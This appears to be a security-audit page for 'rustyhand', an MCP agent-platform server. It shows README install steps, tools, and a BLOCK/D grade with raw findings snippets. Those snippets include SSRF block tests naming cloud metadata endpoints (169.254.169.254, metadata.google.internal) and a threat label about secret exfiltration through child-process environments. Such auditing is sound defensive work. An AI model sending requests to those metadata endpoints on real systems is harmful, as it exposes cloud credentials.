rustyhandBLOCK
Build an open-source Rust agent OS for autonomous Telegram agents, with one binary, APIs, and a tested Rust codebase
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/Tamang4607/rustyhand/releases)
📥 Download rustyhand
Visit the rustyhand releases page to download and install the Windows version.
If you use Windows, pick the latest release asset that matches your system. In most cases, that is a .exe file or a Windows zip file. Download it to your computer, then run the app.
🖥️ What rustyhand does
rustyhand is a desktop app and command-line tool for running AI agents from one place. It gives you:
- 37 ready-to-use agents
- 26 LLM provider options
- 37 channels like Telegram, Discord, and Slack
- MCP server support
- A2A protocol support
- More than 120 API endpoints
- A web dashboard for control and setup
You can use it to manage chat bots, agent tasks, and connected services without setting up a large stack by hand.
⚙️ Before you install
For Windows, use a computer that has:
- Windows 10 or Windows 11
- At least 8 GB of RAM
- 2 GB of free disk space
- Internet access for first-time setup
- Permission to run downloaded apps
If your PC is older, the app may still run, but it will work best with more memory.
🚀 Install on Windows
- Open the rustyhand releases page
- Find the latest release at the top of the page
- Look under the Assets section
- Download the Windows file
- If you get a
.zipfile, right-click it and choose Extract All - Open the extracted folder
- Double-click the rustyhand app file to start it
If Windows asks for permission, choose Run or Yes.
🧭 First run setup
When you open rustyhand for the first time, it may ask for a few basic settings:
- Choose your default AI provider
- Add an API key for the provider you want to use
- Pick the channels you want, like Telegram or Discord
- Set a local port if you
e9c4666256beOBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add sdk -- npx -y @rustyhand/[email protected]
{
"mcpServers": {
"sdk": {
"command": "npx",
"args": [
"-y",
"@rustyhand/[email protected]"
]
}
}
}Exposed tools (7)
7 read · 0 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
Capability-Builder | read | Meta-agent: generates new skills on demand (python/node) and installs them via skill_install. |
Coordinator | read | Meta-agent: routes user requests to the right specialist agent via agent_send. |
Diagnostic | read | Meta-agent: read-only health auditor — inspects agent history, metrics, and API state. |
Predictor | read | Autonomous forecasting — collects signals, builds reasoning chains, makes calibrated predictions. |
Researcher | read | An analytical agent that synthesizes information and provides cited summaries. |
Tutor | read | A patient educational agent that explains concepts step-by-step. |
Writer | read | A creative writing agent for drafting, editing, and improving written content. |
Trust audit
BLOCKgrade D · trust 68/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | PASS |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (15 observation(s))
- Network
- declared (25 observation(s))
- Shell
- declared (3 observation(s))
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (25)
}),!0),this.lastIndex=0}exec(e){this.matcherRe.lastIndex=this.lastIndexthis.rules.push([e,n]),"begin"===n.type&&this.count++}exec(e){"metadata.google.internal",
"169.254.169.254",
assert!(is_ssrf_target("http://169.254.169.254/metadata").is_err());assert!(is_ssrf_target("http://metadata.google.internal/v1/instance").is_err());assert!(is_private_ip(&"169.254.169.254".parse::<IpAddr>().unwrap()));
wh_config.callback_url.clone(),
ChannelField { key: "callback_url", label: "Callback URL", field_type: FieldType::Text, env_var: None, required: false, placeholder: "https://example.com/webhook", advanced: true },threat: 'Secret exfiltration via child process environment',
callback_url: Option<String>,
pub fn new(secret: String, listen_port: u16, callback_url: Option<String>) -> Self {CMD curl -sf http://127.0.0.1:4200/api/health || exit 1
@curl -sf http://127.0.0.1:$(PORT)/api/health && echo " — daemon up" || echo " — daemon NOT responding"
http://127.0.0.1:4200/api/audit/recent?agent_id=<id> (requires
format!("http://127.0.0.1:{ws_port}"),allowed_ws_origins.push(format!("http://127.0.0.1:{p}"));include_str!("../../../agents/analyst/agent.toml"),include_str!("../../../agents/architect/agent.toml"),include_str!("../../../agents/assistant/agent.toml"),include_str!("../../../agents/capability-builder/agent.toml"),("coder", include_str!("../../../agents/coder/agent.toml")),crates/rusty-hand-api/static/logo.png
You are a senior cloud architect specializing in Microsoft Azure infrastructure, identity management, and hybrid cloud deployments. You design solutions using Azure-native services with a focus on sec
You are a senior DevOps engineer specializing in continuous integration and continuous deployment pipelines. You have deep expertise in GitHub Actions, GitLab CI/CD, Jenkins, and modern deployment str
Gates applied: no_behavioural_pass.
e9c4666256befull audit observations/trust-audit/mcp-server/tamang4607__rustyhand.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | e9c4666256be | BLOCK | D | 68 | first audit |
Questions
What is the rustyhand MCP server?
Build an open-source Rust agent OS for autonomous Telegram agents, with one binary, APIs, and a tested Rust codebase
What tools does rustyhand expose?
7 in total: 7 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is rustyhand safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (68/100) and found 7 critical or high issues in the source. Each one is listed on this page with the file and line it is on.
What credentials does rustyhand need?
No credential environment variables were found in its source, so it appears to need none.
How current is this page?
The grade is for one exact copy of the source (e9c4666256be), read on 2026-10-11. The repository is watched and re-audited when it changes.